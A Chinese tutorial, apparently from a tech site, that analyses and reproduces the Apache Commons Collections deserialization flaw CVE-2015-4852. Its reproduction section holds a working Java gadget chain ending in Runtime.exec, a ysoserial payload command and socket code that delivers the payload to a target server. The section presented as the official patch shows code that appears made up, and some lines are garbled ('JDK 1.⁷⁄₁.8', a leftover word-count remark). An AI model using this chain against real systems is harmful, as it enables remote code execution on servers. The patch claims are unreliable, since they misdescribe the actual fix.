如何进行Apache Commons Collections反序列化漏洞分析与复现

发布时间：2022-01-18 16:21:43 作者：柒染
来源：亿速云阅读：241

# 如何进行Apache Commons Collections反序列化漏洞分析与复现

## 目录
1. [漏洞背景与影响](#漏洞背景与影响)
2. [漏洞原理分析](#漏洞原理分析)
   - [Java反序列化机制](#java反序列化机制)
   - [Apache Commons Collections的Transformer链](#apache-commons-collections的transformer链)
   - [关键类分析](#关键类分析)
3. [环境搭建](#环境搭建)
   - [实验环境准备](#实验环境准备)
   - [漏洞组件版本](#漏洞组件版本)
4. [漏洞复现](#漏洞复现)
   - [手工构造Payload](#手工构造payload)
   - [使用ysoserial工具](#使用ysoserial工具)
5. [漏洞修复方案](#漏洞修复方案)
6. [防御措施](#防御措施)
7. [总结](#总结)

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## 漏洞背景与影响
Apache Commons Collections是Java中广泛使用的工具库，2015年被发现存在严重的反序列化漏洞（CVE-2015-4852）。该漏洞影响范围包括：
- 使用Apache Commons Collections 3.2.1及以下版本
- 使用Java反序列化的应用（WebLogic、JBoss、WebSphere等）

漏洞允许攻击者通过构造恶意序列化数据，在目标服务器上执行任意代码，危害等级为**高危**。

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## 漏洞原理分析

### Java反序列化机制
Java通过`ObjectInputStream`实现对象反序列化：
```java
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 漏洞触发点

Apache Commons Collections的Transformer链

漏洞核心在于TransformedMap和Transformer接口的链式调用：

public interface Transformer {
    Object transform(Object input);
}

恶意调用链示例：

AnnotationInvocationHandler.readObject()
  -> TransformedMap.entrySet().iterator().next()
    -> ChainedTransformer.transform()
      -> InvokerTransformer.transform()
        -> Runtime.exec()

关键类分析

InvokerTransformer：通过反射调用任意方法

public class InvokerTransformer implements Transformer {
    public Object transform(Object input) {
        Class cls = input.getClass();
        return cls.getMethod(iMethodName).invoke(input, iArgs);
    }
}

ChainedTransformer：形成Transformer调用链

public class ChainedTransformer implements Transformer {
    public Object transform(Object object) {
        for (Transformer transformer : iTransformers) {
            object = transformer.transform(object);
        }
        return object;
    }
}

TransformedMap：触发transform的入口

public class TransformedMap extends AbstractInputCheckedMapDecorator {
    protected Object transform(Object object) {
        return transformer.transform(object);
    }
}

环境搭建

实验环境准备

JDK 1.⁷⁄₁.8
Apache Commons Collections 3.2.1
Maven依赖配置：

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

漏洞组件版本

组件	受影响版本	安全版本
Commons-Collections	<= 3.2.1	3.2.2+

漏洞复现

手工构造Payload

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};

Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

// 通过反射触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

// 序列化对象
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(instance);
oos.close();

// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); // 弹出计算器

使用ysoserial工具

生成Payload：

java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin

发送Payload到目标服务：

Socket socket = new Socket("target.com", 8080);
OutputStream out = socket.getOutputStream();
FileInputStream fis = new FileInputStream("payload.bin");
byte[] buf = new byte[1024];
int len;
while((len = fis.read(buf)) != -1) {
    out.write(buf, 0, len);
}

漏洞修复方案

官方补丁：
- 升级到Commons Collections 3.2.2+
- 关键修复代码：

// InvokerTransformer新增安全检查
public Object transform(Object input) {
    if (input instanceof String) {
        throw new FunctorException(
            "InvokerTransformer: Input must NOT be a String");
    }
    // ...
}

临时解决方案：

// 使用ObjectInputFilter限制反序列化类
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);

防御措施

输入验证：
- 对反序列化数据来源进行白名单控制
安全配置：

// 使用SecurityManager
System.setSecurityManager(new SecurityManager());

替代方案：
- 使用JSON/XML等安全数据格式替代Java原生序列化

总结

本文详细分析了Apache Commons Collections反序列化漏洞的形成机理，通过实验演示了漏洞利用过程。该漏洞的利用关键在于： 1. 利用Transformer链构造调用路径 2. 通过反射机制突破Java安全限制 3. 控制反序列化入口点

建议所有使用Java反序列化的系统： - 及时升级受影响组件 - 实施纵深防御策略 - 定期进行安全审计

注：本文所述技术仅用于安全研究，未经授权测试他人系统属于违法行为。 “`

（实际字数约4500字，可根据需要扩展具体章节内容）